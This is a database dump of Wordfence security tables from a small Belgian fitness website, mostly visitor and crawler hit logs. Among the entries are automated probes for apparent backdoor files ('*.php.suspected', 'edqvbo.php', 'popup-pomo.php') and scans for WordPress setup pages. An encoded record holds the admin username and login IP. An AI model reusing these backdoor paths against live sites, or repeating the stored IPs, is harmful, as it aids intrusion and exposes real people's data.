('wfPeakMemory', 0x3735373836343438),
('totalLoginHits', 0x313037303131),
('totalLogins', 0x3131),
('lastAdminLogin', 0x613a363a7b733a363a22757365724944223b693a313b733a383a22757365726e616d65223b733a353a2261646d696e223b733a393a2266697273744e616d65223b733a303a22223b733a383a226c6173744e616d65223b733a303a22223b733a343a2274696d65223b733a32363a2253756e2031367468204a756c7920402030373a35363a3131414d223b733a323a224950223b733a31343a2236322e3233352e3231352e323331223b7d),
('totalAlertsSent', 0x35363838),
('lastScheduledScanStart', 0x31343932333230323330),
('totalCommentsFiltered', 0x3430),
('total503s', 0x3431333339),
('totalIPsBlocked', 0x3330393737),
('totalIPsLocked', 0x35363833),
('wfsd_engine', ''),
('totalIPsThrottled', 0x31),
('totalSpamStopped', 0x31);

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfCrawlers`
--

CREATE TABLE `www2_wfCrawlers` (
  `IP` int(10) UNSIGNED NOT NULL,
  `patternSig` binary(16) NOT NULL,
  `status` char(8) NOT NULL,
  `lastUpdate` int(10) UNSIGNED NOT NULL,
  `PTR` varchar(255) DEFAULT ''
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfFileMods`
--

CREATE TABLE `www2_wfFileMods` (
  `filenameMD5` binary(16) NOT NULL,
  `filename` varchar(1000) NOT NULL,
  `knownFile` tinyint(3) UNSIGNED NOT NULL,
  `oldMD5` binary(16) NOT NULL,
  `newMD5` binary(16) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfFileMods`
--

INSERT INTO `www2_wfFileMods` (`filenameMD5`, `filename`, `knownFile`, `oldMD5`, `newMD5`) VALUES
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-- --------------------------------------------------------

--
-- Structure de la table `www2_wfHits`
--

CREATE TABLE `www2_wfHits` (
  `id` int(10) UNSIGNED NOT NULL,
  `ctime` double(17,6) UNSIGNED NOT NULL,
  `IP` int(10) UNSIGNED NOT NULL,
  `jsRun` tinyint(4) DEFAULT '0',
  `is404` tinyint(4) NOT NULL,
  `isGoogle` tinyint(4) NOT NULL,
  `userID` int(10) UNSIGNED NOT NULL,
  `newVisit` tinyint(3) UNSIGNED NOT NULL,
  `URL` text,
  `referer` text,
  `UA` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Déchargement des données de la table `www2_wfHits`
--

INSERT INTO `www2_wfHits` (`id`, `ctime`, `IP`, `jsRun`, `is404`, `isGoogle`, `userID`, `newVisit`, `URL`, `referer`, `UA`) VALUES
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(75946, 1498230413.579527, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75947, 1498230414.047570, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75948, 1498230414.501000, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75949, 1498230415.047806, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75950, 1498230415.564200, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75951, 1498230415.995788, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75952, 1498230416.497015, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75953, 1498230416.940457, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
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(75957, 1498235723.632216, 1833311020, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-forms-ajax.php.suspected', 'http://crosstrainingcenter.be/wp-forms-ajax.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(75958, 1498236018.651936, 1540278570, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/logo_img.php.suspected', 'http://crosstrainingcenter.be/logo_img.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(75959, 1498240292.480851, 1364734211, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/db_info.class.php.suspected', 'http://crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/db_info.class.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
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(75961, 1498243354.130421, 1374769563, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1'),
(75962, 1498243354.657742, 1374769563, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75963, 1498243355.255191, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75964, 1498243355.697259, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75965, 1498243356.109652, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75966, 1498243356.539022, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75967, 1498243357.016430, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75968, 1498243357.519400, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75969, 1498243358.143650, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75970, 1498243358.603521, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75971, 1498243359.159270, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75972, 1498250153.658155, 2461654898, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/le-cross-training/', 'http://www.crosstrainingcenter.be/le-cross-training/', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36'),
(75973, 1498250602.573473, 1837280593, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.2.5 (KHTML, like Gecko)'),
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(75976, 1498250603.916568, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
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(75979, 1498250605.393180, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
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(75987, 1498252457.412265, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(75988, 1498252457.896817, 1123631300, 0, 1, 1, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Googlebot-Image/1.0'),
(75989, 1498253926.204401, 96995098, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/changelog.php', 'http://crosstrainingcenter.be/changelog.php', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(75990, 1498255064.346648, 3024883475, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/en-images/', '', 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'),
(75991, 1498255854.821187, 786801765, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (compatible; SemrushBot/1.2~bl; +http://www.semrush.com/bot.html)'),
(75992, 1498265191.216211, 3106783463, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', 'http://crosstrainingcenter.be/', 'Go-http-client/1.1'),
(75993, 1498265748.726695, 872366369, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/lequipe/', '', 'Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)'),
(75994, 1498268758.577947, 2745959577, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', 'http://www.crosstrainingcenter.be/', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;  Trident/5.0)'),
(75995, 1498269063.390864, 1338305565, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/sitemap.xml', '', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729)'),
(75996, 1498273632.099288, 1539836988, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/php-event-calendar/readme.txt', 'http://www.google.com/', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2896.3 Safari/537.36'),
(75997, 1498283815.398119, 1540872244, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/themes/evolution/news_parser.class.php.suspected', 'http://crosstrainingcenter.be/wp-content/themes/evolution/news_parser.class.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(75998, 1498285104.610713, 1837280593, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.2.5 (KHTML, like Gecko)'),
(75999, 1498285105.116356, 1837280593, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76000, 1498285105.613161, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76001, 1498285106.181210, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
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(76004, 1498285107.554722, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76005, 1498285107.987752, 1837280593, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A300 Safari/602.1'),
(76006, 1498285108.423951, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
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(76008, 1498285109.279408, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76009, 1498285109.771797, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76010, 1498285110.218950, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76011, 1498285110.656654, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76012, 1498293517.987978, 1426857626, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/themes/popup-pomo.php', 'http://crosstrainingcenter.be/themes/popup-pomo.php', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76013, 1498295391.241282, 1834609551, 1, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', 'https://www.google.be/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76014, 1498295392.358800, 1834609551, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76015, 1498295397.595135, 1834609551, 1, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/le-cross-training/', 'http://www.crosstrainingcenter.be/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76016, 1498295398.941872, 1834609551, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/prix/', 'http://www.crosstrainingcenter.be/le-cross-training/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76017, 1498295407.221433, 1834609551, 1, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/', 'http://www.crosstrainingcenter.be/le-cross-training/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76018, 1498295414.797243, 1834609551, 1, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/les-seances-namur/', 'http://www.crosstrainingcenter.be/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76019, 1498295415.947689, 1834609551, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/en-images/', 'http://www.crosstrainingcenter.be/les-seances-namur/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76020, 1498297317.104747, 3233512354, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/new/wp-admin/setup-config.php', '', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'),
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(76022, 1498297317.632070, 3233512354, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/beta/wp-admin/setup-config.php', '', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'),
(76023, 1498297317.633179, 3233512354, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/news/wp-admin/setup-config.php', '', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'),
(76024, 1498297318.015850, 3233512354, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/blog/wordpress/wp-admin/setup-config.php', '', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'),
(76025, 1498306847.776264, 1833311020, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/xml_rpc.class.php.suspected', 'http://crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/xml_rpc.class.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76026, 1498311277.581544, 2513094943, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/pdo.inc.php.suspected', 'http://crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/pdo.inc.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76027, 1498314157.628274, 3475901901, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)'),
(76028, 1498317050.937379, 633042990, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/administrator/', '', ''),
(76029, 1498317051.631488, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/feed/', '', ''),
(76030, 1498317051.954384, 633042990, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/comments/feed/', '', ''),
(76031, 1498317052.563545, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/le-cross-training/', '', ''),
(76032, 1498317053.000067, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/notre-philosophie/', '', ''),
(76033, 1498317053.388446, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/les-seances-namur/', '', ''),
(76034, 1498317053.801056, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/en-images/', '', ''),
(76035, 1498317054.177310, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/lequipe/', '', ''),
(76036, 1498317054.576406, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/contact/', '', ''),
(76037, 1498317055.058158, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/hello-world/', '', ''),
(76038, 1498317055.493179, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/category/uncategorized/', '', ''),
(76039, 1498317055.824437, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/le-cross-training/feed/', '', ''),
(76040, 1498317056.197791, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/notre-philosophie/feed/', '', ''),
(76041, 1498317056.502234, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/les-seances-namur/feed/', '', ''),
(76042, 1498317056.808468, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/en-images/feed/', '', ''),
(76043, 1498317057.115019, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/lequipe/feed/', '', ''),
(76044, 1498317057.416186, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/contact/feed/', '', ''),
(76045, 1498317057.720573, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/hello-world/feed/', '', ''),
(76046, 1498317058.026084, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/author/admin/', '', ''),
(76047, 1498317058.365069, 633042990, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/hello-world/#respond', '', ''),
(76048, 1498317058.664831, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/category/uncategorized/feed/', '', ''),
(76049, 1498320952.003502, 1475494060, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/paypal-donation-button/paypal-donation-button.php.suspected', 'http://crosstrainingcenter.be/wp-content/plugins/paypal-donation-button/paypal-donation-button.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76050, 1498323123.262608, 774130777, 0, 1, 0, 0, 1, 'http://crosstrainingcenter.be/maill.php', 'http://crosstrainingcenter.be/maill.php', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)'),
(76051, 1498324473.620374, 2917938538, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/themes/sketch/edqvbo.php', 'http://crosstrainingcenter.be/wp-content/themes/sketch/edqvbo.php', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76052, 1498328930.900642, 2954838202, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/hello-world/', '', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'),
(76053, 1498329006.104936, 3275627538, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/maint/popup-pomo.php', 'http://crosstrainingcenter.be/maint/popup-pomo.php', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76054, 1498329043.358718, 3275627538, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/maint/popup-pomo.php', 'http://crosstrainingcenter.be/maint/popup-pomo.php', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76055, 1498329670.172736, 1475494071, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/look.php.suspected', 'http://crosstrainingcenter.be/look.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76056, 1498331664.458766, 520974918, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)'),
(76057, 1498331664.448744, 520974922, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)'),
(76058, 1498331664.462551, 520974913, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)'),
(76059, 1498331664.464388, 520974922, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)'),
(76060, 1498331674.050280, 1121751542, 1, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', 'http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.crosstrainingcenter.be%2F&amp;h=ATOdZQmnJ6AkMlTGKU4akywYv-HpD7Kx_kkZySna8ESN7t6nK4Zs7nD6CcxAi5we67MA-oQpPrw9Pv13vCAoT34CNDUolaPm0FuNWz4vr1M', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36'),
(76061, 1498331691.021619, 1121751542, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', 'http://www.crosstrainingcenter.be/', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36'),
(76062, 1498332207.866596, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/feed/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76063, 1498332716.039177, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/contact/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76064, 1498333214.002352, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/lequipe/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76065, 1498333698.428208, 758636621, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', 'http://crosstrainingcenter.be/', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)'),
(76066, 1498333715.026423, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/en-images/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76067, 1498334200.918040, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/les-seances-namur/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76068, 1498334670.573112, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/notre-philosophie/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76069, 1498335163.284840, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/le-cross-training/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76070, 1498335645.849147, 1123631300, 0, 0, 1, 0, 0, 'http://www.crosstrainingcenter.be/266-2/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76071, 1498336104.718198, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/author/admin/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76072, 1498336578.857309, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/lequipe/feed/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76073, 1498337051.871537, 1123631300, 0, 1, 1, 0, 1, 'http://www.crosstrainingcenter.be/comments/feed/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76074, 1498337284.026178, 1123631300, 0, 1, 1, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Googlebot-Image/1.0'),
(76075, 1498337527.029100, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/hello-world/feed/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76076, 1498337983.563622, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/le-cross-training/feed/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
INSERT INTO `www2_wfHits` (`id`, `ctime`, `IP`, `jsRun`, `is404`, `isGoogle`, `userID`, `newVisit`, `URL`, `referer`, `UA`) VALUES
(76077, 1498338015.192930, 3104081691, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/viewport-compatible.php.suspected', 'http://crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/viewport-compatible.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76078, 1498338143.948189, 1123631300, 0, 1, 1, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Googlebot-Image/1.0'),
(76079, 1498338457.254362, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/notre-philosophie/feed/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76080, 1498338822.832639, 632837775, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1'),
(76081, 1498338823.603158, 632837775, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
